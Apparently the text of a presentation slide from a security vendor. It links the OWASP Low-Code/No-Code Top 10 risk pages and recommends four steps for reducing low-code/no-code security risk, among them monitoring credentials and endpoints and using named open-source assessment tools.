https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-03-Data-Leakage-and-Unexpected-Consequences.md
https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-04-Authentication-and-Secure-Communication-Failures.md
https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-05-Security-Misconfiguration.md
https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-06-Injection-Handling-Failures.md
https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-07-Vulnerable-Unmanaged-and-Untrusted-Components.md
https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-08-Data-Handling-Failures.md
https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-09-Asset-Management-Failures.md
https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-10-Security-Logging-and-Monitoring-Failures.md

Do these 4 things to reduce your risk e

e Expand Secure Development standards to low-code / no-code
— Approved use cases and training
— Security assurance

 Monitor low-code / no-code applications
— Shared credentials and used identities
— Data accessed
— External-facing endpoints (webhooks, Microsoft ODATA, Zapier Storage)

e Leverage the OWASP LCNC Top 10 (bit.ly/owasp-lcnc-top10)

e Leverage Open-Source tools
— ZapCreds — identify overshared credentials on Zapier github.com/mbrg/zapcreds
— Powerful — reproduce persistence using Microsoft Power Platform github.com/mbrg/powerful

— Power-Pwn — reproduce malicious usage of Microsoft Power Automate Desktop
github.com/mbrg/power-pwn

% zenity
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